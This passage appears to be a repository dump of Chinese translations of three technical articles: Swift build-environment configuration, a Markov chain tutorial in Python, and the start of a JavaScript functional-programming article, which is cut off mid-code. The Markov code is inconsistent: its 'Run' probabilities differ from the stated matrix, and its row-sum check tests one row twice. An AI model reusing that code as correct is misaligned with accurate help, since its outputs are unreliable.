    "content": "> * 原文地址：[Managing different environments in your Swift project with ease](https://medium.com/flawless-app-stories/manage-different-environments-in-your-swift-project-with-ease-659f7f3fb1a6)\n> * 原文作者：[Yuri Chukhlib](https://medium.com/@YuriD4?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/manage-different-environments-in-your-swift-project-with-ease.md](https://github.com/xitu/gold-miner/blob/master/TODO1/manage-different-environments-in-your-swift-project-with-ease.md)\n> * 译者：[melon8](https://github.com/melon8)\n> * 校对者：[ALVINYEH](https://github.com/ALVINYEH)，[Swants](https://github.com/swants)\n\n# 轻松管理 Swift 项目中的不同环境\n\n![](https://cdn-images-1.medium.com/max/2000/1*Rk8JulyapCiTCUtLsnsEcQ.png)\n\n想象一下，你已经完成了应用程序的开发和测试，现在你已准备好将其提交并发布。但有个问题：你所有的 API key、URL、图标或其他设置都是针对测试环境进行配置的。因此，在提交应用程序之前，你必须将所有这些内容切换到生产环境。显然，这听起来就不太好。此外，你可能会在你庞大的应用中忘记一两个更改，你所提供的服务自然将无法正常工作。\n\n与其使用这种混乱的方法，不如设置几个环境，并在需要时简单地更改它们。今天，我们将最常用的几个方法来尝试管理环境配置:\n\n1. **使用注释。**\n2. **使用全局变量或枚举。**\n3. **使用 target 配置和 scheme 并结合全局标志。**\n4. **使用 target 配置和 scheme 并结合多个** ***.plist 文件。**\n\n### 1. 使用注释\n\n当你有两个不同的环境时，应用程序需要知道它应该连接到哪个环境。想象一下，你有 `Production`，`Development` 和 `Staging` 环境和多个 API 端点。处理这个问题的最快速和简单的方法是使用 3 个不同的变量，并注释掉其中的 2 个：\n\n```\n// MARK: - Development\nlet APIEndpointURL = \"http://mysite.com/dev/api\"\nlet analyticsKey = \"jsldjcldjkcs\"\n\n// MARK: - Production\n// let APIEndpointURL = \"http://mysite.com/prod/api\"\n// let analyticsKey = \"sdcsdcsdcdc\"\n// MARK: - Staging\n// let APIEndpointURL = \"http://mysite.com/staging/api\"\n// let analyticsKey = \"lkjllnlnlk\"\n```\n\n这种方法很脏乱，会让你哭得很厉害。有时我在黑客马拉松上用它，那对代码的质量没有任何要求，只看重速度和灵活性。在任何其他情况下，我强烈建议不要使用它。\n\n### 2.使用全局变量或枚举\n\n另一种流行的方法是有一个全局变量或 `Enum`（这个会更好）来处理不同的配置。你需要在你的 `Enum` 中声明 3 个环境（例如在 `AppDelegate` 文件中）设置它的值：\n\n```\nenum Environment {\n    case development\n    case staging \n    case production\n}\n \nlet environment: Environment = .development\n \nswitch environment {\ncase .development:\n    // 将 web 服务 URL 设置为开发环境\n    // 将 API key 设置为开发环境\n    print(\"It's for development\")\ncase .staging:\n    // 将 web 服务 URL 设置为预上线环境\n    // 将 API key 设置为开发环境\n    print(\"It's for staging\")\ncase .production:\n    // 将 web 服务 URL 设置为生产环境\n    // 将 API key 设置为开发环境\n    print(\"It's for production\")\n}\n```\n\n这种方法让你每次要更改代码时只需设置一次环境。与以前的方法相比，这个更好，更快而且可读性更强，但也有很多限制。首先，在运行任何环境时，你始终拥有相同的 Bundle ID。这意味着你无法同时在设备上拥有 2 个分别对应不同环境的应用，这简直让人难受。\n\n此外，为每个环境设置不同的图标也是一个不错的主意，但采用这种方法，你无法更改图标。而且，如果你在发布应用程序之前忘记更改这个全局变量，那你肯定会遇到问题。\n\n* * *\n\n让我们继续尝试另外两种方法来更快地切换环境。这两个方法对于新建的项目和现有的大型项目都适用。所以跟着本教程，你可以很容易地应用在你现有的一个项目上。\n\n应用这些方法之后，你的应用的每个环境将会使用相同的代码库，但对于每种配置，能够拥有不同的图标和不同的 Bundle ID。分发过程也非常简单。而最重要的是，项目经理和测试人员将能够将你不同环境配置的应用独立安装在他们的设备上，所以他们会完全理解他们试用的版本。\n\n### 3. 使用 target 配置和 scheme 并结合全局标志\n\n在这种方法中，我们需要创建 3 个不同的 configuration 和 3 种不同的 scheme，并将 scheme 和对应 configuration 连接起来。我将创建一个叫“Environments”的项目来演示这一过程，你也可以创建一个新项目或在现有项目中实现。\n\n在 Project Navigator 面板中点击你的项目跳到项目设置。在 target 部分中，右键单击现有 target 并选择 Dublicate 来复制当前 target。\n\n![](https://cdn-images-1.medium.com/max/800/0*kJt7iX0pJ_OCbYH7.)\n\n现在我们有一个新的 target 和一个叫做“Environments copy”的 scheme。让我们重命名为一个合适的名字。左键单击你的新 target，回车，将其名称更改为“Environments Dev”。\n\n接下来，点击“Manage Schemes…”，选择在上一步中创建的新 scheme，然后按回车，重命名使其与新创建的 target 同名避免混淆。\n\n![](https://cdn-images-1.medium.com/max/800/0*pAV3RMB8AJBsTIgL.)\n\n然后，让我们创建一个新的图标资源，以便测试人员和管理员方便地知道他们启动的 app 对应的配置。\n\n进入 Assets.xcassets，点击“+”并选择“New iOS App Icon”。将其名称更改为“AppIcon-Dev”。\n\n![](https://cdn-images-1.medium.com/max/800/0*Wuq-Rd6IHVMAgTm0.)\n\n现在我们可以将这个新的图标资源与我们的开发环境对应起来。进入“Targets”，左键单击你的 Dev taget，找到“App Icon Source”并选择你的新的图标资源。\n\n![](https://cdn-images-1.medium.com/max/800/0*LyxuDi3gg8Ca69p7.)\n\n就是这样，现在每个 configuration 都有不同的图标。请注意，当我们创建第二个 configuration 时，第二个 *.plist 文件也是为我们的第二个环境生成的。\n\n重要提示：现在我们有两种不同的方法来处理两种不同的配置：\n\n1. **为生产和开发目标添加预处理宏/编译器标志。**\n2. **将变量添加到 `*.plist` 中。**\n\n我们将从第一个方法开始讲这两种方法。\n\n添加一个代表开发环境的标志，首先需要选择刚才建立的开发环境的 target，进入“Build Settings”并找到“Swift Compiler — Custom Flags”部分。将该值设置为“-DEVELOPMENT”，将你的目标标记为开发环境。\n\n![](https://cdn-images-1.medium.com/max/800/0*Henhnxiv07NEtDkk.)\n\n然后在代码中像这样配置不同的环境：\n\n```\n#if DEVELOPMENT\nlet SERVER_URL = \"http://dev.server.com/api/\"\nlet API_TOKEN = \"asfasdadasdass\"\n#else\nlet SERVER_URL = \"http://prod.server.com/api/\"\nlet API_TOKEN = \"fgbfkbkgbmkgbm\"\n#endif\n```\n\n现在，如果您选择 Dev scheme 并运行你的程序，应用程序将会自动运在开发环境配置下。\n\n### 4.使用 target 配置和 scheme 并结合多个 *.plist 文件\n\n在这种方法中，我们需要重复上一个方法的前几个步骤，创建和上个方法相同的几种 configuration 和 scheme。然后，我们不需要再添加全局标志，而是需要添加必要的值到我们的 .plist 文件中。另外，我们将在两个 *.plist 文件中分别添加一个 String 类型的 `serverBaseURL` 变量，并填上 URL。现在每个 *.plist 文件都包含一个 URL，我们需要从代码中调用它。我认为，为我们的 Bundle 创建一个 extension 将是一个不错的主意，如下所示：\n\n```\nextension Bundle {\n    var apiBaseURL: String {\n\treturn object(forInfoDictionaryKey: \"serverBaseURL\") as? String ?? \"\"\n    }\n}\n\n//And call it from the code like this:\nlet baseURL = Bundle.main.apiBaseURL\n```\n\n就我个人而言，我更喜欢这种方法，因为在你不应该在代码中检查你的配置。你只需询问 Bundle，只用一行代码，就可以根据当前配置得到需要的结果。\n\n#### 在使用多个 target 的时候\n\n*   请记住，存储在 *.plist 文件中的数据可能会被读取，并且可能非常不安全。一种解决方案是，把敏感密钥放在代码中，并仅将其键名放在 *.plist 文件中。\n*   添加新文件时，请不要忘记选择两个 target 以保持你的代码在两种配置中同步。\n*   如果你使用了持续集成服务，例如 [Travis CI](https://travis-ci.org/) 或 [Jenkins](https://jenkins-ci.org/)，请不要忘记为它们正确地配置。\n\n### 结论\n\n从一开始就以可读和灵活的方式将你的 app 分成不同环境总是有用的。即使用最简单的技术，我们也可以避免许多配置中的典型问题，并显着提高我们的代码质量。\n\n今天，我们简要地从最简单的方法介绍了几种方法，可能还有更多其它的方法来管理配置。我很期待在评论中看见你的方法。\n\n谢谢阅读 ：）\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/markov-chains-python-tutorial.md",
    "content": "> * 原文地址：[Markov Chains in Python: Beginner Tutorial](https://www.datacamp.com/community/tutorials/markov-chains-python-tutorial)\n> * 原文作者：[Sejal Jaiswal](https://www.datacamp.com/profile/cjsejal)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/markov-chains-python-tutorial.md](https://github.com/xitu/gold-miner/blob/master/TODO1/markov-chains-python-tutorial.md)\n> * 译者：[cdpath](https://github.com/cdpath)\n> * 校对者：[jianboy](https://github.com/jianboy), [Kasheem Lew](https://github.com/kasheemlew)\n\n# 用 Python 实现马尔可夫链的初级教程\n\n## 学习马尔可夫链及其性质，了解转移矩阵，并用 Python 动手实现！\n\n马尔可夫链是通常用一组随机变量定义的数学系统，可以根据具体的概率规则进行状态转移。转移的集合满足**马尔可夫性质**，也就是说，转移到任一特定状态的概率只取决于当前状态和所用时间，而与其之前的状态序列无关。马尔可夫链的这个独特性质就是**无记忆性**。\n\n跟随本教程学会使用马尔可夫链，你就会懂得[离散时间马尔可夫链](https://www.datacamp.com/community/tutorials/markov-chains-python-tutorial#dtmc)是什么。你还会学习构建（离散时间）[马尔可夫链模型](https://www.datacamp.com/community/tutorials/markov-chains-python-tutorial#model)所需的组件及其常见特性。接着学习用 Python 及其 `numpy` 和 `random` 库来实现一个简单的模型。还要学习用多种方式来表示马尔可夫链，比如状态图和[转移矩阵](https://www.datacamp.com/community/tutorials/markov-chains-python-tutorial#transitionmatrix)。\n\n想用 Python 处理更多统计问题？了解一下 DataCamp 的 [Python 统计学思维课程](https://www.datacamp.com/courses/statistical-thinking-in-python-part-1)！\n\n开始吧……\n\n## 为什么要用马尔可夫链？\n\n马尔可夫链在数学中有广泛使用。同时也在经济学，博弈论，通信原理，遗传学和金融学领域有广泛应用。通常出现在统计学，尤其是贝叶斯统计，和信息论上下文中。在现实中，马尔可夫链为研究机动车辆的巡航定速系统，抵达机场的乘客的排队序列，货币汇率等问题提供了解决思路。最早由 Google 搜索引擎提出的 PageRank 就是基于马尔可夫过程的算法。Reddit 有个叫子版块模拟器的子版块，帖子和评论全部用马尔可夫链自动生成生成，厉害吧！\n\n## 马尔可夫链\n\n马尔可夫链是具有马尔可夫性质的随机过程。随机过程或者说具有随机性质是指由一组随机变量定义的数学对象。马尔可夫链要么有离散状态空间（一组随机变量的可能值的集合）要么有离散索引集合（通常表示时间），鉴于此，马尔可夫链有众多变种。而通常所说的「马尔可夫链」是指具有离散时间集合的过程，也就是离散时间马尔可夫链（DTMC）。\n\n## 离散时间马尔可夫链\n\n离散时间马尔可夫链所包含的系统的每一步都处于某个状态，步骤之间的状态随机变化。这些步骤常被比作时间的各个瞬间（不过你也可以想成物理距离或者随便什么离散度量）。离散时间马尔可夫链是随机变量 X1，X2，X3 … 的序列，不过要满足马尔可夫性质，所以转移到下一概率只和现在的状态有关，与之前的状态无关。用概率数学公式表示如下：\n\nPr( Xn+1 = x | X1 = x1, X2 = x2, …, Xn = xn) = Pr( Xn+1 = x | Xn = xn)\n\n可见 Xn+1 的概率只和之前的 Xn 的概率有关。所以只需要知道上一个状态就可以确定现在状态的概率分布，满足条件独立（也就是说：只需要知道现在状态就可以确定下一个状态）。\n\nXi 的可能取值构成的可数集合 S 称为马尔可夫链**状态空间**。状态空间可以是任何东西：字母，数字，篮球比分或者天气情况。虽说时间参数通常是离散的，离散时间马尔可夫链的状态空间却没有什么广泛采用的约束条件，还不如参考任意状态空间下的过程。不过许多马尔可夫链的应用都用到了统计分析更简单的有限或可数无穷状态空间。\n\n## 模型\n\n马尔可夫链用概率自动机表示（相信我它没有听上去那么复杂！）。系统状态的改变叫做转移。各个状态改变的概率叫做转移概率。概率自动机包括从已知转移到转移方程的概率，将其转换为转移矩阵。\n\n还可以将马尔可夫链看作有向图，其中图 n 的边标注的是 n 时刻状态转移到 n+1 时刻状态的概率，Pr(Xn+1 = x | Xn = xn)。这个式子可以读做，从已知状态 Xn 转移到状态 Xn+1 的概率。这个概念也可以用从时刻 n 到时刻 n+1 的**转移矩阵**来表示。状态空间的每个状态第一次出现是作为转移矩阵的行，第二次是列。矩阵的每个元素都表示从这一行表示的状态转移到列状态的概率。\n\n如果马尔可夫链有 N 种状态，转移矩阵就是 N x N 维，其中（I, J）表示从状态 I 转移到状态 J 的概率。此外，转移矩阵一定是概率矩阵，也就是每一行元素之和一定是 1。为什么？因为每一行表示自身的概率分布。\n\n所以模型的主要特征包括：状态空间，描述了特定转移发生的概率的转移矩阵以及由初始分布给出的状态空间的初始状态。\n\n好像很复杂？\n\n我们来看一个简单的例子帮助理解这些概念：\n\n如果 Cj 难得心情不好，她会跑步，或者大吃特吃冰淇淋（译者注：原文 gooble 应为 gobble），要么打个盹儿来调整。\n\n根据以往数据，如果她睡了一觉调整心情，第二天她有 60% 的可能去跑步，20% 的可能继续待在床上，还有 20% 的可能吃一大份冰淇淋。\n\n如果她跑步散心，第二天她有 60% 的可能接着跑步，30% 的可能吃冰淇淋，只有 10% 的可能会去睡觉。\n\n最后，如果她难过时纵情冰淇淋，第二天只有 10% 的可能性继续吃冰淇淋，有 70% 的可能性跑步，还有 20% 的可能性睡觉。\n\n![](http://res.cloudinary.com/dyd911kmh/image/upload/f_auto,q_auto:best/v1523011817/state_diagram_pfkfld.png)\n\n上面由状态图表示的马尔可夫链有 3 个可能状态：睡觉，跑步和冰淇淋。所以转移矩阵是 3 x 3 矩阵。注意，离开某一状态的箭头的值的和一定是 1，这跟状态矩阵每一行元素之和是 1 一样，都表示概率的分布。转移矩阵中每个元素的含义跟状态图的每个状态类似。\n\n![](http://res.cloudinary.com/dyd911kmh/image/upload/f_auto,q_auto:best/v1523011817/transition_matrix_gj27nq.png)\n\n这个例子应该会帮助你理解与马尔可夫链有关的几个不同概念。不过在现实世界中如何应用这一理论呢？\n\n借助这个例子，你应该能够回答这种问题：「从睡觉状态开始，2 天后 Cj 最后选择跑步（跑步状态）的概率是多少？」\n\n我们一起算一下。要从睡觉状态转移到跑步状态，Cj 有如下选择：第一天继续睡觉，第二天跑步（0.2 ⋅ 0.6）；第一天换成跑步，第二天继续跑步（0.6 ⋅ 0.6）；第一天去吃冰淇淋，第二天换成跑步（0.2 ⋅ 0.7）。算下来概率是：((0.2 ⋅ 0.6) + (0.6 ⋅ 0.6) + (0.2 ⋅ 0.7)) = 0.62。所以说，从睡觉状态开始，2天后 Cj 处于跑步状态的概率是 62%。\n\n希望这个例子可以告诉你马尔可夫链网络都可以解决哪些问题。\n\n同时，还可以更好地理解马尔可夫链的几个重要性质：\n\n* 互通性：如果一个马尔可夫链可以从任何状态转移至任何状态，那么它就是不可还原的。换句话说，如果任两个状态之间存在一系列步骤的概率为正，就是不可还原的。\n* 周期性：如果马尔可夫链只有在大于 1 的某个整数的倍数时返回某状态，那么马尔可夫链的状态是周期性的。因此，从状态「i」开始，只有经过整数倍个周期「k」才能回到「i」，k 是所有满足条件的整数的最大值。如果 k = 1 状态「i」不是周期性的，如果 k > 1，「i」才是周期性的。\n* 瞬态性和常返性：如果从状态「i」开始，有可能无法回到状态「i」，那么状态「i」有瞬态性。否则具有常返性（或者说持续性）。如果某状态可以在有限步内重现，该状态具有常返性，否则没有常返性。\n* 遍历性：状态「i」如果满足非周期性和正重现性，它就有遍历性。如果不具有可还原性的马尔可夫链的每个状态都有遍历性，那么这个马尔可夫链也具有遍历性。\n* 吸收态：如果无法从状态「i」转移到其他状态，「i」处于吸收态。因此，如果 当 i ≠ j 时，pii = 1 且 pij = 0，状态「i」处于吸收态。如果马尔可夫链的每个状态都可以达到吸收态，称其为具有吸收态的马尔可夫链。\n\n**窍门**：可以看看[这个网站](http://setosa.io/ev/markov-chains/)给出的马尔可夫链的可视化解释。\n\n## 用 Python 实现马尔可夫链\n\n我们用 Python 来实现一下上面这个例子。当然实际使用的库实现的马尔可夫链的效率会高得多，这里还是给出实例代码帮助你入门……\n\n先 import 用到的库。\n\n```python\nimport numpy as np\nimport random as rm\n```\n\n然后定义状态及其概率，也就是转移矩阵。要记得，因为有三个状态，矩阵是 3 X 3 维的。此外还要定义转移路径，也可以用矩阵表示。\n\n```python\n# 状态空间\nstates = [\"Sleep\",\"Icecream\",\"Run\"]\n\n# 可能的事件序列\ntransitionName = [[\"SS\",\"SR\",\"SI\"],[\"RS\",\"RR\",\"RI\"],[\"IS\",\"IR\",\"II\"]]\n\n# 概率矩阵（转移矩阵）\ntransitionMatrix = [[0.2,0.6,0.2],[0.1,0.6,0.3],[0.2,0.7,0.1]]\n```\n\n别忘了，要保证概率之和是 1。另外在写代码时多打印一些错误信息没什么不好的！\n\n```python\nif sum(transitionMatrix[0])+sum(transitionMatrix[1])+sum(transitionMatrix[1]) != 3:\n    print(\"Somewhere, something went wrong. Transition matrix, perhaps?\")\nelse: print(\"All is gonna be okay, you should move on!! ;)\")\n```\n\n```\nAll is gonna be okay, you should move on!! ;)\n```\n\n现在就要进入正题了。我们要用 `numpy.random.choice` 从可能的转移集合选出随机样本。代码中大部分参数的含义从参数名就能看出来，不过参数 `p` 可能比较费解。它是可选参数，可以传入样品集的概率分布，这里传入的是转移矩阵。\n\n```python\n# 实现了可以预测状态的马尔可夫模型的函数。\ndef activity_forecast(days):\n    # 选择初始状态\n    activityToday = \"Sleep\"\n    print(\"Start state: \" + activityToday)\n    # 应该记录选择的状态序列。这里现在只有初始状态。\n    activityList = [activityToday]\n    i = 0\n    # 计算 activityList 的概率\n    prob = 1\n    while i != days:\n        if activityToday == \"Sleep\":\n            change = np.random.choice(transitionName[0],replace=True,p=transitionMatrix[0])\n            if change == \"SS\":\n                prob = prob * 0.2\n                activityList.append(\"Sleep\")\n                pass\n            elif change == \"SR\":\n                prob = prob * 0.6\n                activityToday = \"Run\"\n                activityList.append(\"Run\")\n            else:\n                prob = prob * 0.2\n                activityToday = \"Icecream\"\n                activityList.append(\"Icecream\")\n        elif activityToday == \"Run\":\n            change = np.random.choice(transitionName[1],replace=True,p=transitionMatrix[1])\n            if change == \"RR\":\n                prob = prob * 0.5\n                activityList.append(\"Run\")\n                pass\n            elif change == \"RS\":\n                prob = prob * 0.2\n                activityToday = \"Sleep\"\n                activityList.append(\"Sleep\")\n            else:\n                prob = prob * 0.3\n                activityToday = \"Icecream\"\n                activityList.append(\"Icecream\")\n        elif activityToday == \"Icecream\":\n            change = np.random.choice(transitionName[2],replace=True,p=transitionMatrix[2])\n            if change == \"II\":\n                prob = prob * 0.1\n                activityList.append(\"Icecream\")\n                pass\n            elif change == \"IS\":\n                prob = prob * 0.2\n                activityToday = \"Sleep\"\n                activityList.append(\"Sleep\")\n            else:\n                prob = prob * 0.7\n                activityToday = \"Run\"\n                activityList.append(\"Run\")\n        i += 1  \n    print(\"Possible states: \" + str(activityList))\n    print(\"End state after \"+ str(days) + \" days: \" + activityToday)\n    print(\"Probability of the possible sequence of states: \" + str(prob))\n\n# 预测 2 天后的可能状态\nactivity_forecast(2)\n```\n\n```\nStart state: Sleep\nPossible states: ['Sleep', 'Sleep', 'Run']\nEnd state after 2 days: Run\nProbability of the possible sequence of states: 0.12\n```\n\n结果可以得到从睡觉状态开始的可能转移及其概率。进一步拓展这个函数，可以让它从睡觉状态开始，迭代上几百次，就能得到终止于特定状态的预期概率。下面改写一下 `activity_forecast` 函数，加一些循环……\n\n```python\ndef activity_forecast(days):\n    # 选择初始状态\n    activityToday = \"Sleep\"\n    activityList = [activityToday]\n    i = 0\n    prob = 1\n    while i != days:\n        if activityToday == \"Sleep\":\n            change = np.random.choice(transitionName[0],replace=True,p=transitionMatrix[0])\n            if change == \"SS\":\n                prob = prob * 0.2\n                activityList.append(\"Sleep\")\n                pass\n            elif change == \"SR\":\n                prob = prob * 0.6\n                activityToday = \"Run\"\n                activityList.append(\"Run\")\n            else:\n                prob = prob * 0.2\n                activityToday = \"Icecream\"\n                activityList.append(\"Icecream\")\n        elif activityToday == \"Run\":\n            change = np.random.choice(transitionName[1],replace=True,p=transitionMatrix[1])\n            if change == \"RR\":\n                prob = prob * 0.5\n                activityList.append(\"Run\")\n                pass\n            elif change == \"RS\":\n                prob = prob * 0.2\n                activityToday = \"Sleep\"\n                activityList.append(\"Sleep\")\n            else:\n                prob = prob * 0.3\n                activityToday = \"Icecream\"\n                activityList.append(\"Icecream\")\n        elif activityToday == \"Icecream\":\n            change = np.random.choice(transitionName[2],replace=True,p=transitionMatrix[2])\n            if change == \"II\":\n                prob = prob * 0.1\n                activityList.append(\"Icecream\")\n                pass\n            elif change == \"IS\":\n                prob = prob * 0.2\n                activityToday = \"Sleep\"\n                activityList.append(\"Sleep\")\n            else:\n                prob = prob * 0.7\n                activityToday = \"Run\"\n                activityList.append(\"Run\")\n        i += 1    \n    return activityList\n\n# 记录每次的 activityList\nlist_activity = []\ncount = 0\n\n# `range` 从第一个参数开始数起，一直到第二个参数（不包含）\nfor iterations in range(1,10000):\n        list_activity.append(activity_forecast(2))\n\n# 查看记录到的所有 `activityList`    \n#print(list_activity)\n\n# 遍历列表，得到所有最终状态是跑步的 activityList\nfor smaller_list in list_activity:\n    if(smaller_list[2] == \"Run\"):\n        count += 1\n\n# 计算从睡觉状态开始到跑步状态结束的概率\npercentage = (count/10000) * 100\nprint(\"The probability of starting at state:'Sleep' and ending at state:'Run'= \" + str(percentage) + \"%\")\n```\n\n```\nThe probability of starting at state:'Sleep' and ending at state:'Run'= 62.419999999999995%\n```\n\n那么问题来了，计算得到的结果为何会趋于 62%？\n\n**注意** 这实际是「大数定律」在发挥作用。大数定律是概率论定律，用来说明在试验次数足够多时，可能性相同的事件发生的频率趋于一致。也就是说，随着试验次数的增加，实际比率会趋于理论或预测的概率。\n\n## 马尔可夫思维\n\n马尔可夫链教程就到此为止了。本文介绍了马尔可夫链及其性质。简单的马尔可夫链是开始学习 Python 数据科学的必经之路。如果想要更多 Python 统计学资源，请参阅[这个网站](https://www.datacamp.com/community/tutorials/python-statistics-data-science)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/master-the-javascript-interview-what-is-functional-programming.md",
    "content": "> * 原文地址：[Master the JavaScript Interview: What is Functional Programming?](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/master-the-javascript-interview-what-is-functional-programming.md](https://github.com/xitu/gold-miner/blob/master/TODO1/master-the-javascript-interview-what-is-functional-programming.md)\n> * 译者：[zoomdong](https://github.com/fireairforce)\n> * 校对者：[Roc](https://github.com/QinRoc),[Long Xiong](https://github.com/xionglong58)\n\n# 掌握 JavaScript 面试：什么是函数式编程\n\n![Structure Synth — Orihaus (CC BY 2.0)](https://cdn-images-1.medium.com/max/3200/1*1OxglOpkZHLITbIKEVCy2g.jpeg)\n\n> “掌握 JavaScript 面试” 是一系列的帖子，为了帮助求职者在面试中高级 JavaScript 职位时可能遇见的常见问题做准备。这些是我在真实面试场景中经常会问到的一些问题。\n\n函数式编程已经成为 JavaScript 领域中一个非常热门的话题。就在几年前，甚至很少有 JavaScript 程序员知道什么是函数式编程，但是我在过去 3 年看到的每个大型应用程序代码库中都大量使用了函数式编程思想。\n\n**函数式编程**（通常缩写为 FP）是通过组合**纯函数**，避免**状态共享**、**可变数据**和**副作用**来构建软件的过程。函数式编程是**声明式**的，而不是**命令式**的，应用程序状态通过纯函数流动。与面向对象编程不同，在面向对象编程中，应用程序状态通常与对象中的方法共享和协作。\n\n函数式编程是一种**编程范式**，这意味着它是一种基于一些基本的、定义性的原则（如上所列）来思考软件构建的方法。其他编程范式包括面向对象编程和面向过程编程。\n\n与命令式或面向对象的代码相比，函数式代码往往更简洁、更可预测、更易于测试 —— 但如果你不熟悉它以及与之相关的常见模式，函数式代码看起来也会密集得多，而且相关的文档对于新人来说可能是难以理解的。\n\n如果你开始在 Google 上搜索函数式编程术语，你很快就会遇到一堵学术术语的墙，这对初学者来说是非常可怕的。说它有一个学习曲线是非常保守的说法。但是如果你已经使用 JavaScript 编程了一段时间，那么你很可能已经在实际的软件应用中使用了大量的函数式编程的概念和实用工具。\n\n> 不要让所有生词吓跑你。它们比听起来容易多了。\n\n最困难的部分是吸收（或者理解）这些词汇。在你开始理解函数式编程的含义之前，上面这个看似简单的定义中有很多需要理解的概念：\n\n* 纯函数\n* 函数组合\n* 避免状态共享\n* 避免可变数据\n* 避免副作用\n\n换句话说，如果你想知道函数式编程在实践中意味着什么，你必须首先理解这些核心概念。\n\n**纯函数**指的是具有下列特征的函数：\n\n* 给定相同的输入，总是得到相同的输出\n* 没有副作用\n\n纯函数有许多在函数式编程中很重要的属性，包括**引用透明性**（你可以使用函数一次调用的结果值代替其余对该函数的调用操作，这样并不会对程序产生影响）。阅读[“什么是纯函数？”](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-pure-function-d1c076bec976)了解更多。\n\n**组合函数**是将两个或两个以上的函数组合起来以产生一个新函数或进行某种计算的过程。例如，`f . g` 组合（. 的意思是组合）在 JavaScript 中等价于 `f(g(x))`。理解组合函数是理解如何使用函数式编程构建软件的重要一步。阅读 [“什么是组合函数？”](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-function-composition-20dfb109a1a0)了解更多。\n\n## 状态共享\n\n**状态共享**是指共享作用域中存在的任何变量、对象或内存空间，或者是在作用域之间传递的对象的属性。共享作用域可以包括全局作用域或闭包作用域。通常，在面向对象编程中，通过向其他对象添加属性，在作用域之间共享对象。\n\n例如，计算机游戏可能有一个主游戏对象，其中的角色和游戏项存储为该对象所拥有的属性。函数式编程避免了状态共享，而是依赖不可变的数据结构和纯计算从现有数据中派生出新数据。有关函数式软件如何处理应用程序状态的更多详细信息，请参阅[“10个更好的 Redux 架构提示”](https://medium.com/javascript-scene/10-tips-for-better-redux-architecture-69250425af44)。\n\n共享状态的问题在于，为了了解函数的效果，你必须要了解函数使用或影响的每个共享变量的全部历史记录。\n\n假设你有一个需要保存的 `user` 对象。`saveUser()` 函数向服务器上的 API 发出请求。在此过程中，用户使用 `updateAvatar()` 更改他们的个人头像，并触发另一个 `saveUser()` 请求。在保存时，服务器发送回一个规范的 `user` 对象，为了同步服务端或者其他客户端 API 引起的更改，该对象应该替换掉内存中对应的对象。\n\n不幸的是，第二个响应在第一个响应之前被接收，所以当第一个（现在已经过时了）响应被返回时，新的个人头像会在内存中被删除并替换为旧的个人头像。这就是一个竞争条件的例子 —— 与状态共享相关的非常常见的错误。\n\n与共享状态相关的另一个常见问题是，更改调用函数的顺序可能会导致一系列故障，因为作用于共享状态的函数依赖于时序：\n\n```JavaScript\n// 在共享状态下，函数调用的顺序会更改函数调用的结果。\n\nconst x = {\n  val: 2\n};\n\nconst x1 = () => x.val += 1;\n\nconst x2 = () => x.val *= 2;\n\nx1();\nx2();\n\nconsole.log(x.val); // 6\n\n// 这个例子和上面完全相同，除了对象名称\nconst y = {\n  val: 2\n};\n\nconst y1 = () => y.val += 1;\n\nconst y2 = () => y.val *= 2;\n\n// 函数调用的顺序被颠倒了\ny2();\ny1();\n\n// 从而改变了结果的值\nconsole.log(y.val); // 5\n```\n\n当避免状态共享时，函数调用的时间和顺序不会更改调用函数的结果。对于纯函数，给定相同的输入，总是得到相同的输出。这使得函数调用时完全独立于其他函数调用，这可以从根本上简化更改和重构。一个函数的变化，或者函数调用的时间不会影响程序的其他部分。\n\n```JavaScript\nconst x = {\n  val: 2\n};\n\nconst x1 = x => Object.assign({}, x, { val: x.val + 1});\n\nconst x2 = x => Object.assign({}, x, { val: x.val * 2});\n\nconsole.log(x1(x2(x)).val); // 5\n\n\nconst y = {\n  val: 2\n};\n\n// 由于不依赖于外部变量\n// 我们不需要不同的函数来操作不同的变量\n\n\n// 此处故意留空\n\n\n// 因为函数不会发生变化\n// 所以可以按任意顺序多次调用这些函数\n// 